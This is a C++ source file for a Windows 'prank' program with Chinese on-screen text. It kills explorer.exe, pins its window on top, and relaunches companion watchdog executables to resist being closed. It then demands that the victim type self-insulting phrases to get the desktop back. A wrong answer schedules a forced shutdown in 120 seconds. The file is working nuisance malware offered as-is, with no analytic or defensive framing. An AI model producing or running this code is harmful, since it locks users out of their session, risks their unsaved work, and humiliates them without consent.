#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) {
char pName[MAX_PATH];
strcpy(pName,procressName);
CharLowerBuff(pName,MAX_PATH);
PROCESSENTRY32 currentProcess;
currentProcess.dwSize = sizeof(currentProcess);
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess);
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH);
if (strcmp(currentProcess.szExeFile,pName)==0) {
CloseHandle(hProcess);
return true;
}
bMore=Process32Next(hProcess,¤tProcess);
}
CloseHandle(hProcess);
return false;
}
void po() {
if(getProcess("整人代码-防护.exe") == 0) {
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-防护2.exe") == 0) {
system("start 整人代码-防护2.exe");
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main() {
po();
system("taskkill /f /t /im explorer.exe");
string in;
po();
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:";
cin>>in;
po();
if(in == "我是猪") {
cout<<"这是一个事实,哈哈哈\n";
po();
Sleep(5000);
po();
cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
cin>>in;
if(in == "我是大傻子") {
po();
cout<<"真乖,哈哈哈哈哈哈\n";
Sleep(1000);
po();
cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
po();
cout<<"很勇啊你,让我帮你关机吧!\n";
system("shutdown -s -t 120");
cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
po();
cin>>in;
if(in == "我是大傻猪") {
cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
po();
system("shutdown -a");
Sleep(3000);
po();
cout<<"啥?\n";
Sleep(3000);
po();
cout<<"我忘了什么东西?\n";
Sleep(3000);
po();
cout<<"恢复啥?\n";
Sleep(3000);
po();
cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
cin>>in;
po();
if(in == "我是世上独一无二绝无仅有的超级大傻猪") {
cout<<"真乖,看我咻---";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
system("start 整人代码-kill.exe");
return 0;
}